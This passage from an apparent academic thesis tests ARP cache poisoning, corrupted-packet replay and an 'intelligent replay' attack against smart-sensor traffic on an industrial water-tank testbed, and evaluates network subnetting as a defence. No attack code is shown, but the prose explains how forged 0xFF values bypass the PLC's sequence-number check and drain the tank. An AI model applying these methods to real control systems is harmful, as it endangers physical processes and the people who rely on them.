knowledge of the process, the design of the ICS, and safety systems involved. This is 
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understandable since an attacker needs to understand more than just a typical network structure as 

well as specific industrial protocols. The authors used Figure 16 to depict the scale of difficulty of 

an ICS cyberattack visually. The scale goes from easy to extremely hard to achieve, outside of the 

circle to the inside respectively. To affect a process, for example, a denial-of-service attack, is 

considered somewhat easy to accomplish according to the scale. Furthermore, attacks which have 

a high chance of process or equipment effect is towards the harder end of the spectrum. The 

difficulty stems from how the authors define a difficult attack. If it has a high guarantee of success 

and repeatability, it likely took a significant amount of time in data gathering and testing. 

 

Figure 16. SANS ICS Attack Difficulty Scale [45]. 

 

2.4  Chapter Summary 

 This chapter gives a brief overview of a typical ICS and two of its commonly known subsets, 

Supervisory Control and Data Acquisition and Distributed Control Systems, as well as the 

differences and similarities between each. A very brief description is given of equipment found in 
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each along with their intended purpose in an ICS. In addition, a discussion of the terms IoT and 

IIoT are given, which at a basic level are defined as devices with microprocessors, the ability to 

communicate across the Internet, and have dedicated purposes. The opportunities IIoT devices 

offer are vast, but because of how they can make a process reliant on the network instead of direct 

connection to control, this presents the concern and question of how does this change the attack 

surface of an ICS? In Chapter 4, attacks are crafted to explore the negative possibilities of malware 

which infect an ICS network reliant on devices like smart sensors. 
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III.  Testbed Design and Configuration 

3.1  Chapter Overview 

 This chapter provides the details pertaining to the Lab-Volt 3531 Training System, otherwise 

known here as the testbed. The system is upgraded with the necessary equipment to make it a more 

connected system. The intent of the testbed is to train a student / engineer on a live and functioning 

system which can physically represent a micro-process of what is in practical use in many ICS. It 

has systems for pumping and draining water, regulating temperature, measuring flow rate, and 

other computing systems like a Human Machine Interface. The testbed is upgraded for this 

research with four smart sensors and a network-based DPT.  

3.2  The Testbed and Upgrades 

 Figure 17 shows the central portion of the testbed which has a water tank, water pump, true-

level DPT sensor, valve actuator, and new smart sensors. Additionally, pictured are dashed yellow 

lines on the water tank which indicate 100% full at 33 inches, 50% full at 18 inches, and 0% full 

at 3 inches. These values are chosen to allow for situations where the attacks could lead to extreme 

ends of the water level. Figure 18 displays the second cart which holds the computing components 

of the testbed. The components necessary to the experiments are the HMI, data logger, and the 

PLC. The HMI is strictly used to configure the set point, choose the respective smart sensor for 

the experiment, and start the water pump. The data logger is never officially used but is mentioned 

since it is on the same network as the other devices and polling the PLC for data. The PLC pictured 

has two Ethernet/IP (ENIP) modules boxed in red; for the sake of identifying the two, the leftmost 

is ENIP module 1 and the rightmost is ENIP module 2. 
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Figure 17. The Lab-Volt 3531 Main Cart Components. 
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Figure 18. Lab-Volt 3531’s Computing Cart. 
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 Mounted on the left of the computing cart, but not visible in Figure 18, are the IO-Link master 

communication modules. The sensors connect to these modules for their network capabilities; this 

is pictured in Figure 19. The two used for the experiments are identified with a 1 and 3 inside a 

red outlined star. Star 1 is the Allen-Bradley 1732E-8IOLM12R 8-Channel IO-Link Master, and 

Star 3 is the Balluff BNI EIP-507-005-Z040 IO-link Master Module. Star 1 is attached to an Allen-

Bradley smart sensor, and Star 3 is attached to a Balluff smart sensor. The other two modules 

pictured are the same models; Star 2 has an Allen-Bradley smart sensor, and Star 4 has a Balluff 

smart sensor. The modules are for future research and connected to the network but are not used 

by the PLC for control during testing. 

 

Figure 19. Master Communication Modules. 

1 

2 
3 

4 
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 Figure 20 shows the two models of smart sensors installed on the testbed. The two in the red 

dashed boxed on the left are the Allen-Bradley 836P-D1NMGA14PA-D4 Solid State Pressure 

Sensors. The two in the red dotted box on the right are the Balluff BSP B002-FV004-D06S1A-S4 

Pressure Sensors. Both sets of sensors can be operated as simple analog pressure sensors or put in 

a digital operating mode and communicate using the IO-Link protocol. For the experiments, the 

sensors operate in the digital IO-Link mode. 

 

Figure 20. Mounted Smart Sensors. 

 The networked DPT pictured in Figure 17 gets its network capability by connecting to the 

analog module in slot 1 of the Allen-Bradley 1756 ControlLogix PLC in Figure 21 and 

communicates with the main PLC on the bottom of Figure 18 via the Ethernet/IP module in slot 0. 

This design demonstrates how network-based devices can be used to manage a process with 

today’s technology. In fact, the PLC in Figure 21 could provide similar functionality as the smart 

sensors such as diagnostic information and remote programmability. 
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Figure 21. PLC with Ethernet/IP and Analog Modules. 

3.3  Testbed Control Loop and Network Design 

 Figure 22 shows the network design before the smart sensor upgrades. It provides a visual 

representation of the process and how the devices interact with the controlled process. The water 

is pumped into the tank at a constant rate of 5 L/min. The pressure is read by the hardwired DPT 

which sends the reading to the PLC. The PLC calculates how much it needs to adjust the valve and 

sends the signal. The valve then opens or shuts by whatever increment it is told, and the water 

drains accordingly. The important note about this setup is that even though the PLC is connected 

to the engineering PC, HMI, and data logger via the network switch, the PLC does not need them 

to control the process. If the network should go down the sensor is hardwired along with the 

actuator, and the PLC can continue to control the process.  
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Figure 22. Legacy Testbed Network Design and Control Loop. 

 Figure 23 represents the newly upgraded testbed which replaces the DPT with smart sensors. 

The portion highlighted in red represent the segment of the testbed which will undergo the network 

attacks. The smart sensor node in the figure represents the three different networked sensors 

described in Section 3.2 depending on the experiment. Because the sensors now need to 

communicate through the network to the PLC, the PLC is now dependent on the network to receive 

its sensor data in order to decide on how to control the valve. This dependency widens the attack 

surface of the ICS network to attacks which do not necessarily need to be targeted, as the protocol-

agnostic attacks in this research shows. The network set up shown in Figure 23 best allows for the 

evaluation of attack surface. 
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Figure 23. New Testbed Network Design and Control Loop. 

3.4  Solution Testbed Network Design 

 To help mitigate the weaknesses in dependencies on network-based smart sensing, a solution 

network configuration is tested which separates devices non-critical to the control of the process 

from devices which are critical devices. This network set up is seen in Figure 24 with the red 

portion depicting the expected reach of the network attacks to be performed. The network 

configuration separates the engineering PC from the nodes considered to be critical to the actual 

control of the process. It is through this network separation the network attacks performed in this 

research can be mitigated. The configuration is made possible by ENIP module 2 in Figure 18. 

The critical devices are connected to ENIP module 1 and are completely separated, network-wise, 

from the engineering PC. 
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Figure 24. Solution Testbed Network Set up. 

3.5  Chapter Summary 

 This chapter provides the details on the setup of the testbed. The setup includes its IO-link 

communication module and smart sensor upgrades, the addition of a networked DPT sensor, and 

the two different network layouts which are used in the experiments described in Chapter 4. 
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IV.  Methodology 

4.1  Overview 

 This chapter presents details pertaining to the experiments carried out against the testbed. The 

end goal of the experiments is to discover the effects of protocol-agnostic attacks on an ICS 

network which depends on IIoT technology, specifically smart sensors, to control a process. To 

determine this, a series of experiments are conducted against the communication lines between the 

PLC and the master link communication modules of the sensors with protocol-agnostic network 

attacks, the goal of which is to degrade the process. The smart sensors are accessible to the network 

via communication modules which they are connected to; therefore, to affect the process through 

the pressure readings the attacks must be done between the PLC and the communication modules. 

4.2  Objective 

 The objective of this research is to discover changes in attack surface by attacking the network 

which supports the smart sensors and PLC in order to disrupt the control process. 

4.3 Experiment Assumptions 

  It is assumed the time between experimental runs, determined by the procedure in Section 4.8, 

is enough to allow the testbed to reset fully and not have effects which crossed into the next 

experimental run.  

4.4  System Under Test 

 To better picture the experiment, the System Under Test (SUT) and Component Under Test 

(CUT) are shown in Figure 25 and further depicts the factors, parameters, and metrics. The data 

for the metrics is polled from the PLC using a standalone laptop connected to ENIP 2 module. The 
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second module is used during the solution experiments to separate the engineering PC from the 

operational network. The component under test is the network supporting the PLC and IIoT device. 

 

Figure 25. System Under Test Diagram. 

 

4.5  Experiment Factors 

 The research presented in this chapter is summarized in Table 2. The table shows all possible 

factors and levels used to create a full-factorial experiment consisting of the 18 experiments in 

Table 3. The experiments are separated into two categories: the same subnet and subnetted. Their 

intent is to discover which network layout, sensor implementation, and attack combinations lead 

to network disruptions due to a process controlled by IIoT as well as which combination best 
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prevents such attacks. Each of the same-subnet experiment is run 10 times, and the subnetted 

experiments are only run 5 times since the expected outcome is no negative results from the 

attacks. Sections 4.5.1 through 4.5.3 describe each factor and their levels in the experiments. 

 

Table 2. Factors Used to Construct the Experiments. 

 

 

Table 3. List of Experiments and Their Respective Order. 
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4.5.1  Attack Factor 

 The attack factor consists of three levels. All three attack levels are engineered in such a way 

as to be industrial protocol-agnostic, requiring no knowledge of protocols beyond the TCP/UDP 

layer. The attacks take advantage of the unifying features previously depicted in Table 1 without 

needing to know the specific protocols in use. Since the attack levels are protocol-agnostic, any 

observed outcomes could have comparable effects with other industrial network protocols because 

of the similar designs described in Chapter 2. Should any one of the experiments be successful in 

disruption, this would demonstrate a new method of disturbance an ICS process from the network 

which was not previously possible with legacy sensor equipment. Each of the attacks were written 

using a Python package called Scapy (version 2.3.3). The full scripts for each of the attacks used 

are located in Appendix A. 

  4.5.1.1  Address Resolution Protocol Cache Poison 

 Since the PLC and sensors communicate over a network using standard IP protocols, this attack 

poisons the ARP tables of the sensor and PLC to confuse their media access control (MAC) address 

of the other node and renders them unable to pass the current pressure reading to each other. This 

attack focuses on the Transport Protocol column shown in Table 1. Two ARP packets are sent 

every five seconds, one to the PLC and one to the sensor. The expected result is traffic will no 

longer route correctly between the two nodes, severing the communication leading to some 

disruption of the process. This attack simulates what would happen if some denial-of-service attack 

would occur resulting in severing of network connection whether it be intentional or unintentional. 
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4.5.1.2  Corrupted Packet Replay 

 This attack focuses on exploiting the remaining unifying portions of Table 1, specifically the 

protocols which use UDP, with the intent to cause disruption or data manipulation without 

knowing the specific protocol. In this attack, the infected engineering computer performs a Man-

In-the-Middle (MITM) attack between the sensor and PLC by poisoning the ARP tables of both 

nodes and allowing the traffic to flow between the infected computer. Then the infected computer 

monitors for UDP traffic between the PLC and the sensor by sniffing up to 300 packets at a time, 

searching for UDP packets with a payload. If none of the 300 packets intercepted contains a UDP 

packet with a payload then the attack script assumes insertion failed and tries to reinsert itself; 

taking about 15 seconds to do so. If three periods of sniffing and failure occur, the script shuts 

down and is considered a failure. A pilot study was conducted to determine how much of a packet 

would need to be corrupted which would allow it to still remain a possible valid packet and it was 

determined that 15% could be sufficient. Therefore, if the script is able to intercept a UDP packet, 

it randomly flips 15% of the bytes in the payload portion of the UDP packet and replays that packet 

in the direction it was heading. This attack simulates an attacker wishing to cause widespread 

effects on an ICS via a worm without care for industrial protocol used. 

   4.5.1.3  Intelligent Replay Attack 

 The final attack is called the Intelligent Replay Attack. Similar to Section 4.5.1.2, this attack 

focuses on attacking the unifying portions of the UDP based protocols. Where the Intelligent 

Replay Attack differs is how it is designed to adapt to the unifying portions regardless of protocol 

and attack portions that consistently change between packets. After a Man-In-the-Middle attack, 

the script sniffs 300 packets at a time looking for UDP packets sent from the sensor to the PLC. 

Once it finds at least two, it does a quick analysis to see if any bytes in the UDP packet payload 
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are changing. If any are identified, those bytes are added to a set of data which keeps track of 

which bytes are changing with each iteration. The attack then sets those observed bytes to 0xFF 

with the hopes that one of the observed bytes is the pressure and a false reading of 0xFF is accepted 

as a value which the PLC considers a high-pressure value. The attack then replays the packet in 

the direction it was heading and sniffs for another 300 packets. This process continues for the five 

minutes the experiment is conducted, all the while keeping a master record of all the bytes 

changing with the intent to corrupt all those values. This would simulate an attacker wishing to 

cause a more consistent widespread effect via data manipulation without needing to know the 

specific industrial protocol used for the IIoT device. 

 4.5.2  Sensors Factor 

 The testbed has several smart sensors installed, all with slight differences. The intent of the 

variations is not only to show interoperability of the sensors but also show the attacks can work 

for more than one combination of the networked sensor. Due to the difference in technology and 

implementations, the sensors are split into two different categories: smart sensors and networked 

legacy sensor. The three levels for this factor are the Allen-Bradley, Balluff, and networked DPT 

sensors. 

  4.5.2.1  Smart Sensor 

 The first two levels are the Allen-Bradley and Balluff smart sensors. Each of these levels 

require the use of a communication module and use the IO-Link protocol to communicate relevant 

process and service data. The process data is received by the modules, converted into Ethernet 

frames, then sent to the PLC over the TCP/IP network in plain text. 
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4.5.2.2  Networked DPT Sensor 

 This sensor is specifically included as a factor level to show the type of sensing provided by 

smart sensors can be accomplished with current technology in the field: a PLC, Ethernet/IP 

Module, an Analog IO module, and a Differential Pressure Transmitter (DPT) sensor. The sensor 

transmits the pressure using a 4-20 mA signal to an analog IO module attached to a PLC where 

the information is then transmitted by the ENIP module to the main PLC. Through this process the 

DPT functions like an IIoT device. 

 4.5.3  Network Layout Factor 

 The networks implemented in the experiment are simple, needing little configuration and a 

multi-layer switch. This factor has two levels: the same subnet or subnetted layouts. The same 

subnet layout is expected to be the most successful in attacking since access to all nodes is possible 

and unrestricted. The subnetted network is expected to prevent all attacks since the attacks function 

under the assumption that the engineering computer operates on the same subnet as the PLC and 

sensors. By separating the engineering computer from the rest of the devices, this prior assumption 

is removed, mitigating the network attacks performed. 

4.6   Metrics 

 The valve position, sensor pressure readings from all three sensors, and the true water level are 

all measured metrics. Data is recorded using a standalone laptop computer which polls the PLC 

via a dedicated Ethernet/IP module. In addition to these, the true water level is used to calculate 

the success metric further described in Section 4.8. If any experimental run is successful, the data 

is analyzed for time to success in seconds which is determined by the moment the attack data 

crosses either the maximum or minimum of the idle phase’s measurements.  
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4.7  Parameters 

 The following list represents the parameters which remained unchanged throughout the 

experiment.  

 The pump is set to maintain a flow of 5 Liters / Minute. 

 High pressure is calibrated on all sensors when water is at full capacity or 33 inches of 

water. The PLC is configured to register this value as 100 percent full. After the initial 

calibration, the value of 100 percent remained constant. 

 Low pressure is calibrated on all sensors when water is at 3 inches of water. The PLC is 

configured to register this value as zero percent full. After the initial calibration, the value 

of 0 percent remains constant. 

 The scripts used for the attacks remain unchanged between all the experiments with the 

exception of IP address changes to specify different targets. 

 Each experiment is conducted in the same fashion as described in Section 4.8. 

 The engineering desktop computer used to launch the attack scripts in the experiments 

remains the same with an Intel Xeon Quad Core E5504 @ 2.00 GHz processor and 16 GB 

of RAM. The host operating system is Windows 10 and is running Kali Linux 2017-03 on 

VirtualBox 5.2.22 r126460. The Kali image is dedicated full use of the host’s processor 

and 8 GBs of RAM. The computer accesses the network via a Plugable USB 2.0 to Ethernet 

Fast 10/100 LAN Wired Network Adapter. 

 The laptop computer used to record the network traffic and readings from the PLC remains 

the same. The host laptop runs an Intel Dual Core i7-6500U CPU @ 2.50 GHz and 8 GB 

of RAM. The Kali Linux 2016-02 image is loaded onto a bootable USB and runs in 
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memory on the host. The computer accessed the network via a Plugable USB 2.0 to 

Ethernet Fast 10/100 LAN Wired Network Adapter. 

4.8   Procedure 

 Table 4 is the procedure which is strictly executed. Following this procedure ensures that all 

experiments are conducted in the same manner and any observed anomalies are due to the actual 

experiment and not to any change in the way they are performed. For a point of clarity, “steady 

state” for the testbed is an observed state in the process. Once the water level reaches its set point, 

the valve maintains the level by oscillating in a sinusoidal pattern. The behavior is seen in all idle 

readings before the attacks are launched. The experiments are 7.5 minutes long which capture how 

the water level is behaving for a baseline as well as immediate effects of an attack. The idle 

readings are the first 2.5 minutes of data recording where the networked DPT, smart sensors, valve, 

and true level readings are polled twice a second. The next five minutes record the same devices 

as the network experiences the attacks. 

4.9  Statistical Analysis 

 Each experiment is 7.5 minutes in length with the first 2.5 minutes being the idle phase, where 

no attack is taking place, and the next 5 minutes being the attack phase. Figure 26 provides a 

visualization for the timeline of the experiments using the graph of a run six of experiment two 

(ACP against Allen-Bradley sensor on same subnet). The two phases shown are how the data is 

divided for the analysis. In other words, when testing for success metric and uniqueness using the 

permutation test, the idle phase data (highlighted in grey) is tested against the attack phase 

(highlighted in orange). The maximum, medium, and idle phase median are calculated from the 

idle phase’s data as shown. The attack median is calculated from the attack phase’s portion of the 

data. 



 

52 
 

Table 4. Procedure for Experiments 
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Figure 26. Experiment Timeline 

 

An experiment is considered a statistical success if it meets the two following conditions: 

Condition 1: The median of attack phase’s data rises above the maximum or falls below the 

minimum of the idle phase’s data. 

Condition 2: The difference in idle and attack medians are tested for significance using the 

approximate permutation test (discussed in section 4.10). If this results in a p-value at or 

below � = 0.05 then it is a success. 

 Calculating the median value of the data as opposed to the mean ensures that the success 

criteria is less susceptible to outliers present in the dataset. Condition 1 identifies potential 

successful experiments, and condition 2 confirms and justifies the success of the experiment. The 
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p-value extracted from the approximate permutation test is used to judge the null hypothesis which 

is there is no difference in the medians between the two data sets; this is represented by (1). The 

alternative hypothesis is there is some difference in medians between the two data sets; this is 

represented by (2). The significance threshold is set to � = 0.05. Therefore, if the approximate 

permutation test produces a p-value lower than 0.05, there is significant evidence to reject the null 

hypothesis meaning there is a less than 5% chance the medians of the two data sets are equal. 

H0: Idle median = Attack median        (1) 

H1: Idle median ≠  Attack median       (2) 

4.10  Approximate Permutation Test 

 Due to the non-normal and unpredictable nature of the data collected during the experiments, 

typical parametric statistical tests such as T and Z test cannot be used. Therefore, tests for 

significance of a statistic are judged by a method which does not rely on any assumptions of 

distribution; the permutation test [46, 47, 48] meets this need. The goal of the permutation test is 

to determine how unique the observed difference is between two data sets by testing all different 

permutations of the data points. If by repeated testing of all new data sets through permutations of 

the data reveals the same results as the original observed difference, then the original observation 

is not unique and there is no evidence for the two data sets to be dissimilar. The permutation test 

operates on two different data sets and examines the difference between the two sets using a 

statistic of a user’s choosing, such as the median which is used in the experiments in this research. 

After calculating the median of each data set and recording the original difference, the data points 

between the two sets are redistributed and recalculated by creating all possible permutations of the 

data points.  
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 Even though the data collected during a single run of an experiment is small in nature (typically 

around 800 data points), a complete permutation is not possible since to do so would take 800 

factorial shuffles. Instead, an approximate permutation test is accomplished in which only a subset 

of total possible permutations is performed. The permutations are created at random and are 

otherwise known as Monte Carlo Samplings [46, 47]. A pilot study was conducted to ascertain the 

number of random samplings n to perform in order to achieve consistency between permutation 

tests. The study revealed that after at 50 thousand random samplings, the consistency of the 

computed p-value was consistent. The following are the steps followed to complete the 

approximate permutation test.  

 1. Calculate the original difference in medians (visually depicted in Figure 27). 

 2. Combine the data sets, randomly shuffle the data points, and divide the data points  

 back into the same size data sets as before. (Depicted in Figure 28) 

 3. Compute the difference of medians between the two data sets. Repeat step two n times. 

 4. To calculate the p-value, count the amount of times step three produced a difference in 

 median that met or exceeded the value computed in step one, and divide the number by n. In 

 other words, the p-value is also a percentage of the permutations which met or exceeded the 

 value computed in step one. This is visually represented in (3). 

   (3) 
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Figure 27. Calculating Original Difference in Medians 

 

 

Figure 28. Randomly Redistributing Data and Calculate New Difference in Median. 



 

57 
 

 

4.11  Chapter Summary 

 In summary, this chapter provides the details pertaining to the experiment. The experiment is 

a full factorial with 3 factors with (3,3,2) levels to create the 18 experiments conducted. In order 

for the experiment run to be considered as a success it must meet both conditions 1 and 2. 

Condition 2 is confirmed through the approximate permutation test about the median statistic. 
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V.  Results and Analysis 

5.1  Chapter Overview 

 This chapter provides an analysis of the baseline and summarizes the results of the 18 

experiments conducted. The baseline analysis tests the reliability of the statistical methods used to 

evaluate the effectiveness of the experiments. Table 5 shows the overall success or failure of each 

experiment based on the two conditions in Section 4.9. Table 6 and Table 7 present the 

corresponding significance tests for difference in medians based on meeting condition 1 in Section 

4.9. Each of the tests p-values in Table 6 and Table 7 are zeros which means each of the original 

difference in medians observed were so unique that not one of the 50 thousand random samples 

met or exceeded the original observed. Also included in Table 6 and Table 7, are the times to 

success in seconds. The rest of this chapter focuses on six unique situations observed during test 

runs of the experiments and are organized by the attack type:  

 ARP Cache Poison. 

o Outcome 1: The sensor’s connection is cut at set point (three different variations) 

o Outcome 2: The sensor’s connection is cut and leads to overflow 

o Outcome 3: The sensor’s connection is cut and leads to drainage 

o Outcome 4: The valve’s increase changes the direction of water flow 

 Intelligent Replay  

o Outcome 5: The sensor’s data is successfully manipulated and accepted by the PLC 

 Corrupted Replay and Attacks on Subnetted devices 

o Outcome 6: Little to no effect is observed 
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 Each of the graphs’ y-axis values are in percentage; the sensors and true level represent the 

capacity of the tank, and the valve is read percentage closed. In other words, the valve should be 

read as 100% closed or 0% closed (i.e., fully open). In order to compare the behavior of the system 

under attack to the system under normal operations, baseline graphs are supplied in Appendix A. 

Table 5. Summary of Experiment Results 
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Table 6. Successful ARP-Cache Poison Difference P-Values and Time to Success (in seconds) 

 

Table 7. Intelligent Replay Difference in Median Significance Test 

 

5.2  Baseline Analysis 

 5.2.1  Section Overview and Success Metric 

In order to determine the effectiveness of the two conditions used to evaluate the success of an 

attack, the conditions will be used to analyze the testbed during a state in which no attacks are 
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being conducted. The testbed is operated with each smart sensor and measured for 10 minutes with 

no malicious activity. These measurements provide a baseline for how the testbed normally 

operates with each of the sensors. The results of the statistical tests are shown in Table 8. Within 

the baselines, it is expected of condition 1, known as the success metric, to detect true negatives. 

In other words, when testing for the success metric, because there is no attack activity there should 

be negative results which is exactly what is seen in Table 8. Due to the absence of attacks and 

external interactions, the behavior of the testbed is calm enough to not have situations which trigger 

the success metric. 

Table 8. Baseline Analysis Results. 

 

 

5.2.2  Baseline and Permutation Test 

When it comes to condition 2, known as the permutation test, its purpose is to detect the 

uniqueness of two datasets using some function. With the median as an example, the permutation 

test should detect if the original observed difference in medians is a result of random chance or 

possibly due to some true unique phenomenon. Seen in the P-Value column in Table 8, are several 

detections of unique conditions in all three of the baselines identified by values less than 0.05. 
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Although the differences in median were very small, they are still testing as unique. To understand 

what the cause of uniqueness could be, the baselines are analyzed through different windows. The 

first window is 0 – 7.5 minutes which is the same length and frame as the experiments. The next 

window is 0 - 10 minutes which is an extended window; this window provides a more long-term 

picture of the behavior of the system. Lastly, a 2.5 – 10 minute window is analyzed; this window 

is the same length as the experiments but shifted to remove the first 2.5 minutes of the readings; 

this aids in investigating how the analysis might look if the baseline is analyzed during a potentially 

more stable state. In each case when testing the data, the first 2.5 minutes of this new window are 

tested against the remainder of the window just like it is done in the experiments. 

After using all three windows for analysis, what seems to be happening in all baselines is the 

testbed coming to an equilibrium over a longer period. In other words, because there is no 

malicious activity taking place, the PID loop is able to reach its set-point more accurately over 

longer periods of time. Looking at the medians of all three windows for the DPT and Balluff sensor 

in Table 8, the idle median is consistently lower than its respective attack median indicating its 

steady state is at a higher point than the start of the readings. For the Allen-Bradley sensor, the 

indication is in the opposite direction; the steady state is lower than at the start of the readings. Out 

of the three sensors, the DPT seemed to have reached a stable state more quickly as indicated by 

its shifted window permutation test p-value. In other words, through random permutations, the 

data was able to achieve the similar results 63.68% of the permutated runs which hints at the 

difference in medians are likely due to randomness. The Allen-Bradley sensors with the same 

shifted window revealed the sensor was getting closer to equilibrium but was not fully achieved. 

The Balluff sensor behaved in a similar fashion, getting closer to its equilibrium but not achieved 

in the 10-minute observation window. 
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The behavior of the baselines can be seen in the graphs in Figure 29, Figure 30, Figure 31 each 

with an added trendline to aid in seeing the direction each of the sensors is heading for equilibrium.  

 

Figure 29. Testbed Baseline True Level with Allen-Bradley Sensor 

 

Figure 30. Testbed Baseline True Level with Balluff Sensor 
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Figure 31. Testbed Baseline True Level with DPT 

 

5.2.3  Section Summary 

This section explores the effectiveness of statistical method used to analyze the experiments. 

When used against the baseline, the conditions for success detailed in Section 4.9 reveal several 

things. As expected, condition 1 should have failed due to the lack in presence of attacks and 

external interactions. Condition 2 revealed possible difference between the idle portion of the data 

and the portion that would be considered the attack portion of the data. This difference was 

determined to be due to the testbed reaching an equilibrium over a longer period of time. Alone, 

the conditions give two different insights on a data set, together they provide a clearer picture. 

Condition 1 identifies results which were extreme enough to be analyzed for a successful attack. 

Condition 2 verifies if the difference in the two distributions are due to randomness or because of 

a unique situation. 
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5.3  ARP Cache Poison Outcomes 

 With 28 out of the 30 ARP Cache Poisoning attacks succeeding, the following sections are 

the different outcomes observed amongst all 30 runs. 

 5.3.1  Outcome 1: Connection Cut at Set Point 

 The first outcome that occurs is when the ARP cache poison (ACP) attack cuts the connection 

right as the reading of the sensor is at set point; this results in three different variations seen in 

Figure 32, Figure 33, and Figure 34. One drains the tank, the second fills the tank higher than the 

set point, and the third has minimal impact during the test interval. Each of these variations is due 

to the PLC continually reacting to the last reading when the sensor hits 50%. The PLC will hold 

the valve position when it gets readings at set point because the PLC calculates that no more 

adjustments are needed to maintain water level. Therefore, if the valve’s halted position is closed 

enough, then the water will rise due to the inability to drain faster than the 5 L/min of inflow. To 

clarify, the valve’s purpose is to control access to the drainage path installed in the testbed. Because 

the experiments start with the tank filled to 50% capacity, the rate at which the testbed drains 

depends on two factors: how closed the valve is, and how fast the rate of flow is into the tank. 

Because the rate of flow into the tank remains constant, the rate of drain depends on how much 

access is to the drainage path as allowed by the valve. In Figure 32, the valve is just open enough 

and is sufficient for the tank to drain. In Figure 33, however, the valve is just closed enough at 

48.10991% and the tank fills.   
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Figure 32. ACP Attack with Sensor at Set Point and Draining 

 

Figure 33. ACP Attack with Sensor at Set Point and Filling. 

 Figure 34 shows how the halted valve position is barely enough to get the tank to change its 

level within any significance. Test run 10 of the Allen-Bradley sensor is one case of the ARP cache 

poison attack that did not succeed with condition 1, hence its absence from the successes in Table 
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6. It is not that the attack caused no effect; instead it is that the attack did not change the distribution 

of data fast enough to succeed within the given time constraints. By calculating average of the 

rates of change between each of the successive data points and using it to predict the trend of the 

data past the 5 minute window, with another 29.60 seconds the water level would have risen above 

the idle phase’s maximum and the experiment would have been considered a success. 

 

 

Figure 34. Failed ACP Attack with Allen-Bradley Sensor. 

 

 5.3.2  Outcome 2: Overflow Outcome 

 There are four instances where the ACP attack severs the connection when the sensor reads 

below the set point leading the PLC to close the valve 100% to try and bring the water back to set 

point. One such case is seen in Figure 35. Eventually, the water fills up the tank well past 100% 

seen around sample number 590, and it starts to overflow past capacity. As the water fills past 

capacity, it drains into a safety tube built into the testbed at the very top of the tank. As the true 
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water level goes past its programmed 100% pressure calibration, it reaches so high the pressure 

data received by the PLC goes out of expected range. At this point, the PLC experiences a 

malfunction and begins to report the true level DPT information as if the water is draining. Even 

though the PLC reports pressure that seemed as if it was draining the tank to 0% capacity, this is 

impossible since the valve remains 100% closed and the water spills over at the top of the tank. 

The explanation for this malfunction is not fully known despite significant study, but the best 

theory is the overpressure caused unexpected errors between the sensors and PLC leading to this 

unexplainable behavior. 

 

Figure 35. Overpressure Outcome. 

 5.3.3  Outcome 3: Drainage Outcome 

 In this observed outcome, pictured in Figure 36, the sensor’s last reading rests above the 50% 

set point, so the PLC adjusts the valve to attempt to level out to the set point. Because the sensor’s 

data is out of date, the PLC acts on false information opening the valve completely; this causes the 
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water to completely drain from the tank by sample number 550 which translates to about the 5-

minute mark. The negative reading of the true level is due to draining past the 3-inch zero point. 

 

Figure 36. Drainage caused by disconnection. 

 5.3.4  Outcome 4: Change in Direction of Water Flow 

 A unique situation that ended in failure occurred during the ARP cache poison attack with the 

DPT as the experimental sensor seen in Figure 37. When the connection is cut, the valve is too 

open at first which causes the gradual drop in water level. However, the last sensor value received 

is just under the set point enough to cause a slow increase in the valve closure. This slow closure 

eventually is enough to reverse the drainage and begin to refill the tank which balances the median 

leading to eventual failure of the metrics. Even though in this situation the test was considered a 

failure, by calculating the average rate of change using the same technique as used for the situation 

in Figure 34 and using it to predict a theoretical extended time frame, it is determined that with 

another 20.99 seconds the test would have been a success.  
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Figure 37. Change in Direction of Water Flow. 

 

5.4  Intelligent Replay - Outcome 5: Sensor Data is Successfully Manipulated 

 This outcome is the most interesting one out of the 18 experiments. It is only observed when 

launching the intelligent replay attack against the Allen-Bradley sensor on the same-subnet 

configuration, one of which is seen in Figure 38. When the intelligent replay is launch as the Allen-

Bradley sensor is used for process control, the results are the same for all 10 runs, making it the 

most consistent and predictable of all the attacks. Upon inspection of the network traffic, there are 

three portions of the packet which consistently change. The sequence number in the Ethernet/IP 

header, the sequence number in the Common Industrial Protocol header, and the pressure data. 

These portions of the packet are boxed in red in Figure 39 with the pressure data being the red box 

at the bottom of the figure. Through the study of the network capture pertaining to this experiment, 

it is determined that if the two sequence numbers are the same, the packet’s data is accepted by 

the PLC; if there is a discrepancy, it is ignored. Additionally, the sequence number must meet or 

exceed the expected next value by the PLC, or it is ignored. The attack corrupts all the bytes it 
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observes with the same value of 0xFF (all bits as 1’s). This value translates to the PLC as a higher 

sequence number (matching in both locations) and a high pressure which is interpreted as if the 

tank is at 228% capacity. This value of course is not true, contrasted by the true level’s value which 

is more around 50% in Figure 38. Nevertheless, 0xFF was interpreted by the PLC to be about 

228%. Since the PLC received a packet that has a higher than expected sequence number, it reacts 

to the pressure data. The PLC then assumes it missed a set of the communicated data points, so it 

closes the UDP communication stream and reconnects with the module through a management 

TCP connection. With This TCP connection, the PLC creates a new UDP communication stream 

from which the PLC will receive its pressure data from. This resyncing reaction is repeated every 

time the attack executes, leading the PLC to drain the tank entirely and prevents it from refilling 

since the PLC keeps accepting the high value of pressure and reconnecting. 

 In other words, the attack identifies two portions of the UDP packet which are continually 

adjusting, the sequence number and pressure data. It does not decipher which portion is which only 

that it is changing every packet. The attack then changes those portions to 0xFF which is, in this 

testbed, a high value. The attack then replays the packet with the two identified portions corrupted 

with high values. The PLC interprets this new packet as having a high value of pressure and a 

sequence number far in advanced from what it is expecting. The PLC reacts to the high pressure 

by opening the valve, thinking the water level is too high. Immediately after this the PLC detects 

that there is a lapse in data due to a high sequence number, so it decides to start a fresh connection 

with the module and restarts the sequence number back to zero. During this resync process the 

valve remains open and drains the tank. This happens multiple times throughout the attack and the 

tank never gets a chance to fill back to a normal capacity due to its continual resyncing. 
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 This attack failed with the Balluff and networked DPT sensor because these two sensors send 

two different UDP packets: one with pressure data and one management. These different packets 

confuse the attack to misidentify critical bytes and thus does not corrupt the correct portions of 

packets. 

 

Figure 38. Intelligent Replay Result. 
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Figure 39. Ethernet/IP packet dissection. 

5.5  Corrupted Replay and Subnetted Scenario 6: Little to No effect is observed 

 Every case of the experiments in the subnetted category failed to cause an effect on the process 

and maintained a normal behavior as seen with Figure 40 which is the ACP attack against the DPT 

when operating from the subnetted infected computer. The failure is fully expected since the 

attacks are all network-based and cannot reach the critical network.  

All other failed same-subnet experiments (4, 5, 6, 7, 9) fail because no effect is significant 

enough to change the overall data distribution, and any outlying effects were from the MITM 

portion of the attack. Figure 41 is an example of how a failed attack looks like. More specifically, 
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Figure 41 is the Intelligent replay attack against the Balluff sensor on the same network. The spike 

is due to the MITM causing a brief loss of connection while the infected computer poisons the 

